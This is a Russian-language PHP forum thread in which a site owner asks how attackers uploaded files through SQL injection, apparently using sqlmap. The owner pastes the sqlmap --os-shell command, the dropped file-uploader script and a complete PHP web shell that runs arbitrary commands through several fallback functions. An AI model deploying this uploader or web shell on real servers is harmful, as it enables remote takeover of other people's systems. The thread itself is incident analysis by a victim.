[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Защита от внедрения вредоносного кода
Страницы: 1, 2
maruo
На сайте ничего кроме 3х инпутов для текста нету.
В итоге файлы были загружены на сервер и произведена атака.
Собственно каким образом это было сделано? примерно какие варианты могут быть.
Если понадобится приложу файлы который были внедрены

есть подозрения на sqlmap? но я слабо осведомлен, поэтому можно ли так залить файл?
Astin
Выкладывай свой обработчик для инпутов. Подозреваю что у тебя нет проверок на ввод данных в эти инпуты
maruo
Astin
ну импут не мой, да там нету особой проверки кроме как real_escape_string.

Да есть иньекция sql , это я вижу и понимаю, но я раньше думал что иньекция это Работа напрямую с базой данных. Т.е повредить можно только базе .
А тут оказывается можно залить шелл
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell
И уже полностью работать с файловой системой.
Вместе с этим

if (isset($_REQUEST["upload"])){
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0'){
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}@chmod($dir."/".$file,0755);
echo "File uploaded";
}else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data>

<input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory:
<input type=text name=uploadDir value=/home/www/winitem.com/htdocs/engine/> <input type=submit name=upload value=upload></form>"
;
}


Был внедрен еще этот файл, а так же adminer-4.2.5.php

<?php $c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);

$z=@ini_get('disable_functions');
if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);
}else{
$z=array();
}
$c=$c." 2>&1\n";

function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}

if(f('system')){
ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);

$w=NULL;while(!feof($t[1])){
$w.=fread($t[1],512);}@proc_close($y);
}elseif(f('shell_exec')){
$w=shell_exec($c);
}elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}

@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "<pre>".$w."</pre>";

?>


И вот я разбирал 2й файл и не понимаю а как он запускал его, например тот же загрузчик?
если обратиться по адресу site.ru/namefile.php То выдаст 404
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.